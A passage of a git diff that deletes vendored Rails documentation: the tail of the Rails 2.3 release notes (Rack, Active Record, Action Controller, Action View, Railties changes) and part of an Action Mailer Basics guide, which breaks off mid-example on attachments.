    -The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware. -

    -
    • -
  • -

    -ActionController::CGIHandler is a backwards compatible CGI wrapper around Rack. The CGIHandler is meant to take an old CGI object and converts its environment information into a Rack compatible form. -

    -
    • -
  • -

    -CgiRequest and CgiResponse have been removed -

    -
    • -
  • -

    -Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object). -

    -
    • -
  • -

    -CGI::Session::CookieStore has been replaced by ActionController::Session::CookieStore -

    -
    • -
  • -

    -CGI::Session::MemCacheStore has been replaced by ActionController::Session::MemCacheStore -

    -
    • -
  • -

    -CGI::Session::ActiveRecordStore has been replaced by ActiveRecord::SessionStore -

    -
    • -
  • -

    -You can still change your session store with ActionController::Base.session_store = :active_record_store -

    -
    • -
  • -

    -Default sessions options are still set with ActionController::Base.session = { :key => "..." } -

    -
    • -
  • -

    -The mutex that normally wraps your entire request has been moved into middleware, ActionController::Lock -

    -
    • -
  • -

    -ActionController::AbstractRequest and ActionController::Request have been unified. The new ActionController::Request inherits from Rack::Request. This affects access to response.headers[type] in test requests. Use response.content_type instead. -

    -
    • -
  • -

    -ActiveRecord::QueryCache middleware is automatically inserted onto the middleware stack if ActiveRecord has been loaded. This middleware sets up and flushes the per-request Active Record query cache. -

    -
    • -
  • -

    -The Rails router and controller classes follow the Rack spec. You can call a controller directly with SomeController.call(env). The router stores the routing parameters in rack.routing_args. -

    -
    • -
  • -

    -ActionController::Request inherits from Rack::Request -

    -
    • -
  • -

    -Instead of config.action_controller.session = { :session_key => foo, ... use config.action_controller.session = { :key => foo, ... -

    -
    • -
  • -

    -Using the ParamsParser middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any Rack::Request object after it. -

    -
    • -
-

1.2. Renewed Support for Rails Engines

-

After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your routes.rb file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now.

-
-

2. Documentation

-
-

The Ruby on Rails guides project has published several additional guides for Rails 2.3. In addition, a separate site maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the Rails wiki and early planning for a Rails Book.

-
-
-

3. Active Record

-
-

Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic scopes, and default scopes.

-

3.1. Nested Attributes

-

Active Record can now update the attributes on nested models directly, provided you tell it to do so:

-
-
-
class Book < ActiveRecord::Base
-  has_one :author
-  has_many :pages
-
-  accepts_nested_attributes_for :author, :pages
-end
-

Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).

-
-

3.2. Nested Transactions

-

Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:

-
-
-
User.transaction do
-    User.create(:username => 'Admin')
-    User.transaction(:requires_new => true) do
-      User.create(:username => 'Regular')
-      raise ActiveRecord::Rollback
-    end
-  end
-
-  User.find(:all)  # => Returns only Admin
-

Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the :requires_new option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are using savepoints, so they’re supported even on databases that don’t have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.

-
-

3.3. Dynamic Scopes

-

You know about dynamic finders in Rails (which allow you to concoct methods like find_by_color_and_flavor on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like currently_active). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly and method chaining. For example:

-
-
-
Order.scoped_by_customer_id(12)
-Order.scoped_by_customer_id(12).find(:all,
-  :conditions => "status = 'open'")
-Order.scoped_by_customer_id(12).scoped_by_status("open")
-

There’s nothing to define to use dynamic scopes: they just work.

-
-

3.4. Default Scopes

-

Rails 2.3 will introduce the notion of default scopes similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write default_scope :order => name ASC and any time you retrieve records from that model they’ll come out sorted by name (unless you override the option, of course).

-
-

3.5. Multiple Conditions for Callbacks

-

When using Active Record callbacks, you can now combine :if and :unless options on the same callback, and supply multiple conditions as an array:

-
-
-
before_save :update_credit_rating, :if => :active,
-  :unless => [:admin, :cash_only]
-
    -
  • -

    -Lead Contributor: L. Caviola -

    -
    • -
-

3.6. Find with having

-

Rails now has a :having option on find (as well as on has_many and has_and_belongs_to_many associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:

-
-
-
developers =  Developer.find(:all, :group => "salary",
-  :having => "sum(salary) >  10000", :select => "salary")
-
-

3.7. Hash Conditions for has_many relationships

-

You can once again use a hash in conditions for a has_many relationship:

-
-
-
has_many :orders, :conditions => {:status => 'confirmed'}
-

That worked in Rails 2.1, fails in Rails 2.2, and will now work again in Rails 2.3 (if you’re dealing with this issue in Rails 2.2, you can use a string rather than a hash to specify conditions).

-
-

3.8. Reconnecting MySQL Connections

-

MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set reconnect = true for your MySQL connections in database.yml to get this behavior from a Rails application. The default is false, so the behavior of existing applications doesn’t change.

-
-

3.9. Other Active Record Changes

-
    -
  • -

    -An extra AS was removed from the generated SQL for has_and_belongs_to_many preloading, making it work better for some databases. -

    -
    • -
  • -

    -ActiveRecord::Base#new_record? now returns false rather than nil when confronted with an existing record. -

    -
    • -
  • -

    -A bug in quoting table names in some has_many :through associations was fixed. -

    -
    • -
  • -

    -You can now specify a particular timestamp for updated_at timestamps: cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago) -

    -
    • -
  • -

    -Better error messages on failed find_by_attribute! calls. -

    -
    • -
  • -

    -Active Record’s to_xml support gets just a little bit more flexible with the addition of a :camelize option. -

    -
    • -
  • -

    -A bug in canceling callbacks from before_update or +before_create_ was fixed. -

    -
    • -
  • -

    -Rake tasks for testing databases via JDBC have been added. -

    -
    • -
  • -

    -validates_length_of will use a custom error message with the :in or :within options (if one is supplied) -

    -
    • -
-
-

4. Action Controller

-
-

Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.

-

4.1. Unified Rendering

-

ActionController::Base#render is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:

-
-
-
render :file => '/tmp/random_file.erb'
-render :template => 'other_controller/action'
-render :action => 'show'
-

Now in Rails 2.3, you can just supply what you want to render:

-
-
-
render '/tmp/random_file.erb'
-render 'other_controller/action'
-render 'show'
-render :show
-

Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what’s to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (:inline, :text, :update, :nothing, :json, :xml, :js) still require an explicit option.

-

4.2. Application Controller Renamed

-

If you’re one of the people who has always been bothered by the special-case naming of application.rb, rejoice! It’s been reworked to be application_controller.rb in Rails 2.3. In addition, there’s a new rake task, rake rails:update:application_controller to do this automatically for you - and it will be run as part of the normal rake rails:update process.

-
-

4.3. HTTP Digest Authentication Support

-

Rails now has built-in support for HTTP digest authentication. To use it, you call authenticate_or_request_with_http_digest with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):

-
-
-
class PostsController < ApplicationController
-  Users = {"dhh" => "secret"}
-  before_filter :authenticate
-
-  def secret
-    render :text => "Password Required!"
-  end
-
-  private
-  def authenticate
-    realm = "Application"
-    authenticate_or_request_with_http_digest(realm) do |name|
-      Users[name]
-    end
-  end
-end
-
-

4.4. More Efficient Routing

-

There are a couple of significant routing changes in Rails 2.3. The formatted_ route helpers are gone, in favor just passing in :format as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the formatted_ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just routes.rb. You can use RouteSet#add_configuration_file to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.

-

Lead Contributors: Aaron Batalion

-

4.5. Rack-based Lazy-loaded Sessions

-

A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It’s still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don’t want them; just don’t refer to them and they won’t load.

-

4.6. MIME Type Handling Changes

-

There are a couple of changes to the code for handling MIME types in Rails. First, MIME::Type now implements the =~ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:

-
-
-
if content_type && Mime::JS =~ content_type
-  # do something cool
-end
-
-Mime::JS =~ "text/javascript"        => true
-Mime::JS =~ "application/javascript" => true
-

The other change is that the framework now uses the Mime::JS when checking for javascript in various spots, making it handle those alternatives cleanly.

-

Lead Contributor: Seth Fitzsimmons

-

4.7. Optimization of respond_to

-

In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the respond_to method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to method_missing and some profiling and tweaking, we’re seeing an 8% improvement in the number of requests per second served with a simple respond_to that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.

-

4.8. Improved Caching Performance

-

Rails now keeps a per-request local cache of requests, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to MemCacheStore, it is available to any remote store than implements the required methods.

-
-

4.9. Localized Views

-

Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a Posts controller with a show action. By default, this will render app/views/posts/show.html.erb. But if you set I18n.locale = :da, it will render app/views/posts/show.da.html.erb. If the localized template isn’t present, the undecorated version will be used. Rails also includes I18n#available_locales and I18n::SimpleBackend#available_locales, which return an array of the translations that are available in the current Rails project.

-

4.10. Other Action Controller Changes

-
    -
  • -

    -ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there’s no body to the response or when sending files with send_file. -

    -
    • -
  • -

    -The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don’t generally set things up right. If that’s you, you can now set ActionController::Base.ip_spoofing_check = false to disable the check entirely. -

    -
    • -
  • -

    -ActionController::Dispatcher now implements its own middleware stack, which you can see by running rake middleware. -

    -
    • -
  • -

    -Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores. -

    -
    • -
  • -

    -You can now use symbols for the :type option of send_file and send_data, like this: send_file("fabulous.png", :type => :png). -

    -
    • -
  • -

    -The :only and :except options for map.resources are no longer inherited by nested resources. -

    -
    • -
-
-

5. Action View

-
-

Action View in Rails 2.3 picks up nested model forms, improvements to render, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.

-

5.1. Nested Object Forms

-

Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using form_for and field_for. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders
-
-  accepts_nested_attributes_for :orders, :allow_destroy => true
-end
-

You can write this view in Rails 2.3:

-
-
-
<% form_for @customer do |customer_form| %>
-  <div>
-    <%= customer_form.label :name, 'Customer Name:' %>
-    <%= customer_form.text_field :name %>
-  </div>
-
-  <!-- Here we call fields_for on the customer_form builder instance.
-       The block is called for each member of the orders collection. -->
-  <% customer_form.fields_for :orders do |order_form| %>
-      <p>
-        <div>
-          <%= order_form.label :number, 'Order Number:' %>
-          <%= order_form.text_field :number %>
-        </div>
-
-  <!-- The allow_destroy option in the model enables deletion of
-       child records. -->
-        <% unless order_form.object.new_record? %>
-          <div>
-            <%= order_form.label :_delete, 'Remove:' %>
-            <%= order_form.check_box :_delete %>
-          </div>
-        <% end %>
-      </p>
-    <% end %>
-  <% end %>
-
-  <%= customer_form.submit %>
-<% end %>
-
-

5.2. Smart Rendering of Partials

-

The render method has been getting smarter over the years, and it’s even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):

-
-
-
render @article  # Equivalent of render :partial => 'articles/_article', :object => @article
-render @articles # Equivalent of render :partial => 'articles/_article', :collection => @articles
-
-

5.3. Prompts for Date Select Helpers

-

In Rails 2.3, you can supply custom prompts for the various date select helpers (date_select, time_select, and datetime_select), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set :prompt to true to use the custom generic prompt:

-
-
-
select_datetime(DateTime.now, :prompt => true)
-
-select_datetime(DateTime.now, :prompt => "Choose date and time")
-
-select_datetime(DateTime.now, :prompt =>
-  {:day => 'Choose day', :month => 'Choose month',
-   :year => 'Choose year', :hour => 'Choose hour',
-   :minute => 'Choose minute'})
-

Lead Contributor: Sam Oliver

-

5.4. AssetTag Timestamp Caching

-

You’re likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don’t get served out of the user’s browser cache when you change them on the server. You can now modify this behavior with the cache_asset_timestamps configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can’t modify any of the assets while the server is running and expect the changes to get picked up by clients.

-

5.5. Asset Hosts as Objects

-

Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to to implement any complex logic you need in your asset hosting.

-
-

5.6. grouped_options_for_select Helper Method

-

Action View already haD a bunch of helpers to aid in generating select controls, but now there’s one more: grouped_options_for_select. This one accepts an array or hash of strings, and converts them into a string of option tags wrapped with optgroup tags. For example:

-
-
-
grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
-  "Cowboy Hat", "Choose a product...")
-

returns

-
-
-
<option value="">Choose a product...</option>
-<optgroup label="Hats">
-  <option value="Baseball Cap">Baseball Cap</option>
-  <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
-</optgroup>
-

5.7. Other Action View Changes

-
    -
  • -

    -Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by ActiveSupport::SecureRandom rather than mucking around with session IDs. -

    -
    • -
  • -

    -auto_link now properly applies options (such as :target and :class) to generated e-mail links. -

    -
    • -
  • -

    -The autolink helper has been refactored to make it a bit less messy and more intuitive. -

    -
    • -
-
-

6. Active Support

-
-

Active Support has a few interesting changes, including the introduction of Object#try.

-

6.1. Object#try

-

A lot of folks have adopted the notion of using try() to attempt operations on objects - It’s especially helpful in views where you can avoid nil-checking by writing code like <%= @person.try(:name) %>. Well, now it’s baked right into Rails. As implemented in Rails, it raises NoMethodError on private methods and always returns nil if the object is nil.

-
    -
  • -

    -More Information: try(). -

    -
    • -
-

6.2. Object#tap Backport

-

Object#tap is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the returning method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.

-

6.3. Fractional seconds for TimeWithZone

-

The Time and TimeWithZone classes include an xmlschema method to return the time in an XML-friendly string. As of Rails 2.3, TimeWithZone supports the same argument for specifying the number of digits in the fractional second part of the returned string that Time does:

-
-
-
>> Time.zone.now.xmlschema(6)
-=> "2009-01-16T13:00:06.13653Z"
-

Lead Contributor: Nicholas Dainty

-

6.4. JSON Key Quoting

-

If you look up the spec on the "json.org" site, you’ll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we doe the right thing here, even with numeric keys.

-

6.5. Other Active Support Changes

-
    -
  • -

    -You can use Enumerable#none? to check that none of the elements match the supplied block. -

    -
    • -
  • -

    -If you’re using Active Support delegates, the new :allow_nil option lets you return nil instead of raising an exception when the target object is nil. -

    -
    • -
  • -

    -ActiveSupport::OrderedHash: now implements each_key and each_value. -

    -
    • -
  • -

    -ActiveSupport::MessageEncryptor provides a simple way to encrypt information for storage in an untrusted location (like cookies). -

    -
    • -
  • -

    -Active Support’s from_xml no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it’s been carting around. -

    -
    • -
-
-

7. Railties

-
-

In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.

-

7.1. Rails Metal

-

Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack.

-
-

7.2. Application Templates

-

Rails 2.3 incorporates Jeremy McAnally’s rg application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the rails command. There’s also a rake task to apply a template to an existing application:

-
-
-
rake rails:template LOCATION=~/template.rb
-

This will layer the changes from the template on top of whatever code the project already contains.

-
-

7.3. Quieter Backtraces

-

Building on Thoughtbot’s Quiet Backtrace plugin, which allows you to selectively remove lines from Test::Unit backtraces, Rails 2.3 implements ActiveSupport::BacktraceCleaner and Rails::BacktraceCleaner in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a config/backtrace_silencers.rb file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.

-

7.4. Faster Boot Time in Development Mode with Lazy Loading/Autoload

-

Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they’re actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using autoload to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.

-

You can also specify (by using the new preload_frameworks option) whether the core libraries should be autoloaded at startup. This defaults to false so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.

-

7.5. Other Railties Changes

-
    -
  • -

    -The instructions for updating a CI server to build Rails have been updated and expanded. -

    -
    • -
  • -

    -Internal Rails testing has been switched from Test::Unit::TestCase to ActiveSupport::TestCase, and the Rails core requires Mocha to test. -

    -
    • -
  • -

    -The default environment.rb file has been decluttered. -

    -
    • -
  • -

    -The dbconsole script now lets you use an all-numeric password without crashing. -

    -
    • -
  • -

    -Rails.root now returns a Pathname object, which means you can use it directly with the join method to clean up existing code that uses File.join. -

    -
    • -
  • -

    -Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding --with-dispatches when you run the rails command, or add them later with rake rails:generate_dispatchers). -

    -
    • -
-
-

8. Deprecated

-
-

A few pieces of older code are deprecated in this release:

-
    -
  • -

    -If you’re one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you’ll need to know that those scripts are no longer included in core Rails. If you need them, you’ll be able to pick up copies via the irs_process_scripts plugin. -

    -
    • -
  • -

    -render_component goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the render_component plugin. -

    -
    • -
  • -

    -Support for Rails components has been removed. -

    -
    • -
  • -

    -If you were one of the people who got used to running script/performance/request to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back. -

    -
    • -
  • -

    -ActionController::Base#session_enabled? is deprecated because sessions are lazy-loaded now. -

    -
    • -
  • -

    -The :digest and :secret options to protect_from_forgery are deprecated and have no effect. -

    -
    • -
  • -

    -Some integration test helpers have been removed. response.headers["Status"] and headers["Status"] will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the status and status_message helpers. response.headers["cookie"] and headers["cookie"] will no longer return any CGI cookies. You can inspect headers["Set-Cookie"] to see the raw cookie header or use the cookies helper to get a hash of the cookies sent to the client. -

    -
    • -
  • -

    -formatted_polymorphic_url is deprecated. Use polymorphic_url with :format instead. -

    -
    • -
-
-

9. Credits

-
-

Release notes compiled by Mike Gunderloy

-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/action_mailer_basics.html b/vendor/rails/railties/doc/guides/html/action_mailer_basics.html deleted file mode 100644 index 22b575af..00000000 --- a/vendor/rails/railties/doc/guides/html/action_mailer_basics.html +++ /dev/null @@ -1,739 +0,0 @@ - - - - - Action Mailer Basics - - - - - - - - -
- - - -
-

Action Mailer Basics

-
-
-

This guide should provide you with all you need to get started in sending and receiving emails from/to your application, and many internals of the ActionMailer class. It will also cover how to test your mailers.

-
-
-

1. Introduction

-
-

Action Mailer allows you to send email from your application using a mailer model and views. -Yes, that is correct, in Rails, emails are used by creating models that inherit from ActionMailer::Base. They live alongside other models in /app/models BUT they have views just like controllers that appear alongside other views in app/views.

-
-

2. Sending Emails

-
-

Let’s say you want to send a welcome email to a user after they signup. Here is how you would go about this:

-

2.1. Walkthrough to generating a Mailer

-

2.1.1. Create the mailer:

-
-
-
./script/generate mailer UserMailer
-exists  app/models/
-create  app/views/user_mailer
-exists  test/unit/
-create  test/fixtures/user_mailer
-create  app/models/user_mailer.rb
-create  test/unit/user_mailer_test.rb
-

So we got the model, the fixtures, and the tests all created for us

-

2.1.2. Edit the model:

-

If you look at app/models/user_mailer.rb, you will see:

-
-
-
class UserMailer < ActionMailer::Base
-
-end
-

Lets add a method called welcome_email, that will send an email to the user’s registered email address:

-
-
-
class UserMailer < ActionMailer::Base
-
-  def welcome_email(user)
-    recipients    user.email
-    from          "My Awesome Site Notifications<notifications@example.com>"
-    subject       "Welcome to My Awesome Site"
-    sent_on       Time.now
-    body          {:user => user, :url => "http://example.com/login"}
-    content_type  "text/html"
-  end
-
-end
-

So what do we have here?

-
- --- - - - - - - - - - - - - - - - - - - - - - -

recipients

who the recipients are, put in an array for multiple, ie, @recipients = ["user1@example.com", "user2@example.com"]

from

Who the email will appear to come from in the recipients' mailbox

subject

The subject of the email

sent_on

Timestamp for the email

content_type

The content type, by default is text/plain

-
-

How about @body[:user]? Well anything you put in the @body hash will appear in the mailer view (more about mailer views below) as an instance variable ready for you to use, ie, in our example the mailer view will have a @user instance variable available for its consumption.

-

2.1.3. Create the mailer view

-

-

The file can look like:

-
-
-
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-  <head>
-    <meta content='text/html; charset=iso-8859-1' http-equiv='Content-Type' />
-  </head>
-  <body>
-    <h1>Welcome to example.com, <%= @user.first_name %></h1>
-    <p>
-      You have successfully signed up to example.com, and your username is: <%= @user.login %>.<br/>
-      To login to the site, just follow this link: <%= @url %>.
-    </p>
-    <p>Thanks for joining and have a great day!</p>
-  </body>
-</html>
-

2.1.4. Wire it up so that the system sends the email when a user signs up

-

There are 3 ways to achieve this. One is to send the email from the controller that sends the email, another is to put it in a before_create block in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it’s wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent.

-

Let’s see how we would go about wiring it up using an observer:

-

In config/environment.rb:

-
-
-
# Code that already exists
-
-Rails::Initializer.run do |config|
-
-  # Code that already exists
-
-  config.active_record.observers = :user_observer
-
-end
-

There was a bit of a debate on where to put observers. Some people put them in app/models, but a cleaner method may be to create an app/observers folder to store all observers, and add that to your load path. Open config/environment.rb and make it look like:

-
-
-
# Code that already exists
-
-Rails::Initializer.run do |config|
-
-  # Code that already exists
-
-  config.load_paths += %W(#{RAILS_ROOT}/app/observers)
-
-  config.active_record.observers = :user_observer
-
-end
-

ALMOST THERE :) Now all we need is that danged observer, and we’re done: -Create a file called user_observer in app/models or app/observers depending on where you stored it, and make it look like:

-
-
-
class UserObserver < ActiveRecord::Observer
-  def after_create(user)
-    UserMailer.deliver_welcome_email(user)
-  end
-end
-

Notice how we call deliver_welcome_email? Where is that method? Well if you remember, we created a method called welcome_email in UserMailer, right? Well, as part of the "magic" of rails, we deliver the email identified by welcome_email by calling deliver_welcome_email. The next section will go through this in more detail.

-

That’s it! Now whenever your users signup, they will be greeted with a nice welcome email.

-

2.2. Action Mailer and dynamic deliver_ methods

-

So how does Action Mailer understand this deliver_welcome_email call? If you read the documentation (http://api.rubyonrails.org/files/vendor/rails/actionmailer/README.html), you will find this in the "Sending Emails" section:

-

You never instantiate your mailer class. Rather, your delivery instance -methods are automatically wrapped in class methods that start with the word -deliver_ followed by the name of the mailer method that you would -like to deliver. The signup_notification method defined above is -delivered by invoking Notifier.deliver_signup_notification.

-

So, how exactly does this work?

-

In ActionMailer:Base, you will find this:

-
-
-
def method_missing(method_symbol, *parameters)#:nodoc:
-  case method_symbol.id2name
-    when /^create_([_a-z]\w*)/  then new($1, *parameters).mail
-    when /^deliver_([_a-z]\w*)/ then new($1, *parameters).deliver!
-    when "new" then nil
-    else super
-  end
-end
-

Ah, this makes things so much clearer :) so if the method name starts with deliver_ followed by any combination of lowercase letters or underscore, method missing calls new on your mailer class (UserMailer in our example above), sending the combination of lower case letters or underscore, along with the parameter. The resulting object is then sent the deliver! method, which well... delivers it.

-

2.3. Complete List of ActionMailer user-settable attributes

-
- --- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

bcc

Specify the BCC addresses for the message

body

Define the body of the message. This is either a Hash (in which case it specifies the variables to pass to the template when it is rendered), or a string, in which case it specifies the actual text of the message.

cc

Specify the CC addresses for the message.

charset

Specify the charset to use for the message. This defaults to the default_charset specified for ActionMailer::Base.

content_type

Specify the content type for the message. This defaults to <text/plain in most cases, but can be automatically set in some situations.

from

Specify the from address for the message.

reply_to

Specify the address (if different than the "from" address) to direct replies to this message.

headers

Specify additional headers to be added to the message.

implicit_parts_order

Specify the order in which parts should be sorted, based on content-type. This defaults to the value for the default_implicit_parts_order.

mime_version

Defaults to "1.0", but may be explicitly given if needed.

recipient

The recipient addresses for the message, either as a string (for a single address) or an array (for multiple addresses).

sent_on

The date on which the message was sent. If not set (the default), the header will be set by the delivery agent.

subject

Specify the subject of the message.

template

Specify the template name to use for current message. This is the "base" template name, without the extension or directory, and may be used to have multiple mailer methods share the same template.

-
-

2.4. Mailer Views

-

Mailer views are located in /app/views/name_of_mailer_class. The specific mailer view is known to the class because it’s name is the same as the mailer method. So for example, in our example from above, our mailer view for the welcome_email method will be in /app/views/user_mailer/welcome_email.html.erb for the html version and welcome_email.txt.erb for the plain text version.

-

To change the default mailer view for your action you do something like:

-
-
-
class UserMailer < ActionMailer::Base
-
-  def welcome_email(user)
-    recipients    user.email
-    from          "My Awesome Site Notifications<notifications@example.com>"
-    subject       "Welcome to My Awesome Site"
-    sent_on       Time.now
-    body          {:user => user, :url => "http://example.com/login"}
-    content_type  "text/html"
-
-    # change the default from welcome_email.[html, txt].erb
-    template "some_other_template" # this will be in app/views/user_mailer/some_other_template.[html, txt].erb
-  end
-
-end
-

2.5. Action Mailer Layouts

-

Just like controller views, you can also have mailer layouts. The layout name needs to end in _mailer to be automatically recognized by your mailer as a layout. So in our UserMailer example, we need to call our layout user_mailer.[html,txt].erb. In order to use a different file just use:

-
-
-
class UserMailer < ActionMailer::Base
-
-  layout 'awesome' # will use awesome.html.erb as the layout
-
-end
-

Just like with controller views, use yield to render the view inside the layout.

-

2.6. Generating URL’s in Action Mailer views

-

URLs can be generated in mailer views using url_for or named routes. -Unlike controllers from Action Pack, the mailer instance doesn’t have any context about the incoming request, so you’ll need to provide all of the details needed to generate a URL.

-

When using url_for you’ll need to provide the :host, :controller, and :action:

-
-
-
<%= url_for(:host => "example.com", :controller => "welcome", :action => "greeting") %>
-
-

When using named routes you only need to supply the :host:

-
-
-
<%= users_url(:host => "example.com") %>
-
-

You will want to avoid using the name_of_route_path form of named routes because it doesn’t make sense to generate relative URLs in email messages. The reason that it doesn’t make sense is because the email is opened on a mail client outside of your environment. Since the email is not being served by your server, a URL like "/users/show/1", will have no context. In order for the email client to properly link to a URL on your server it needs something like "http://yourserver.com/users/show/1".

-

It is also possible to set a default host that will be used in all mailers by setting the :host option in -the ActionMailer::Base.default_url_options hash as follows:

-
-
-
ActionMailer::Base.default_url_options[:host] = "example.com"
-
-

This can also be set as a configuration option in config/environment.rb:

-
-
-
config.action_mailer.default_url_options = { :host => "example.com" }
-
-

If you do decide to set a default :host for your mailers you will want to use the :only_path => false option when using url_for. This will ensure that absolute URLs are generated because the url_for view helper will, by default, generate relative URLs when a :host option isn’t explicitly provided.

-

2.7. Sending multipart emails

-

Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have welcome_email.txt.erb and welcome_email.html.erb in app/views/user_mailer, Action Mailer will automatically send a multipart email with the html and text versions setup as different parts.

-

To explicitly specify multipart messages, you can do something like:

-
-
-
class UserMailer < ActionMailer::Base
-
-  def welcome_email(user)
-    recipients      user.email_address
-    subject         "New account information"
-    from            "system@example.com"
-    content_type    "multipart/alternative"
-
-    part :content_type => "text/html",
-      :body => "<p>html content, can also be the name of an action that you call<p>"
-
-    part "text/plain" do |p|
-      p.body = "text content, can also be the name of an action that you call"
-    end
-  end
-
-end
-

2.8. Sending emails with attachments

-

Attachments can be added by using the attachment method:

-
-
-
class UserMailer < ActionMailer::Base
-
-  def welcome_email(user)
-    recipients      user.email_address
-    subject         "New account information"
-    from            "system@example.com"
